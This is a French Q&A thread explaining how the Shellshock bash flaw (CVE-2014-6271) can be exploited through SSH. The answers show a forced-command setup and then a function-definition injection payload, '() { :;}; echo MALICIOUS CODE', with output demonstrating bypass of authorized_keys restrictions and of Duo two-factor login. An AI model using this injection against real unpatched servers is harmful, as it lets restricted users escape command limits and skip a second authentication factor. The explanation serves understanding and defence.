comment Shellshock peut-il être exploité sur SSH?
Apparemment, l'exploit Shellshock Bash CVE-2014-6271 peut être exploité sur le réseau via SSH. Je peux imaginer comment l'exploit fonctionnerait via Apache/CGI, mais je ne peux pas imaginer comment cela fonctionnerait sur SSH?
Quelqu'un peut-il donner un exemple de la façon dont SSH serait exploité et quels dommages pourraient être causés au système?
CLARIFICATION
AFAIU, seul un utilisateur authentifié peut exploiter cette vulnérabilité via SSH. À quoi sert cet exploit pour quelqu'un qui a de toute façon un accès légitime au système? Je veux dire, cet exploit n'a pas d'escalade de privilèges (il ne peut pas devenir root), donc il ne peut pas faire plus que ce qu'il aurait pu faire après une simple connexion légitime via SSH.
Un exemple où cela peut être exploité est sur les serveurs avec un authorized_keys commande forcée. Lors de l'ajout d'une entrée à ~/.ssh/authorized_keys, vous pouvez préfixer la ligne avec command="foo" pour forcer foo à être exécuté chaque fois que la clé publique ssh est utilisée. Avec cet exploit, si le shell de l'utilisateur cible est défini sur bash, il peut profiter de l'exploit pour exécuter d'autres choses que la commande à laquelle il est contraint.
Cela aurait probablement plus de sens dans l'exemple, voici donc un exemple:
Sudo useradd -d /testuser -s /bin/bash testuser
Sudo mkdir -p /testuser/.ssh
Sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
Sudo chown -R testuser /testuser
Ici, nous configurons un utilisateur testuser, qui force toutes les connexions ssh à l'aide de votre clé ssh à exécuter echo starting sleep; sleep 1.
Nous pouvons tester cela avec:
$ ssh testuser@localhost echo something else
starting sleep
Remarquez comment notre echo something else ne s'exécute pas, mais le starting sleep montre que la commande forcée s'est exécutée.
Voyons maintenant comment cet exploit peut être utilisé:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Cela fonctionne car sshd définit le SSH_ORIGINAL_COMMAND variable d'environnement à la commande passée. Donc, même si sshd a exécuté sleep, et non la commande à laquelle je lui ai dit, à cause de l'exploit, mon code est toujours exécuté.
En développant l'exemple de Ramesh - si vous utilisez l'authentification à deux facteurs, il est possible de contourner le deuxième facteur en utilisant cet exploit, selon la façon dont il est implémenté.
- Connexion normale -
[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login
Enter a passcode or select one of the following options:
1. Duo Push to XXX-XXX-XXXX
2. Phone call to XXX-XXX-XXXX
3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)
Passcode or option (1-3): 1
Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout
- Code en cours d'exécution sans 2FA -
[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE
Vous remarquerez qu'il a exécuté le code sans demander 2FA.
- Après avoir patché bash -
[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
Shellshock est une vulnérabilité sur bash, pas sur SSH. Pour l'exploiter, un attaquant doit provoquer le système vulnérable à exécuter bash, et contrôler la valeur d'une variable d'environnement qui sera passée à bash.
Afin d'atteindre un processus bash via SSH, l'attaquant doit passer les étapes d'authentification. (Il peut y avoir des vecteurs d'attaque via d'autres services réseau, mais ils dépassent le cadre de ce thread.) Si le compte est autorisé à exécuter des commandes Shell arbitraires de toute façon, il n'y a pas d'attaque. La vulnérabilité entre en jeu si le compte est limité à l'exécution de commandes spécifiques: par exemple, un compte SFTP uniquement, ou un compte git uniquement, etc.
Il existe plusieurs façons de restreindre un compte pour exécuter une commande spécifique avec SSH: avec l'option ForceCommand dans sshd_config, ou avec un command=. restriction dans le authorized_keys fichier. Si le shell de l'utilisateur est bash, la vulnérabilité Shellshock permet à un utilisateur qui n'aurait normalement accès qu'au compte restreint de contourner la restriction et d'exécuter des commandes arbitraires.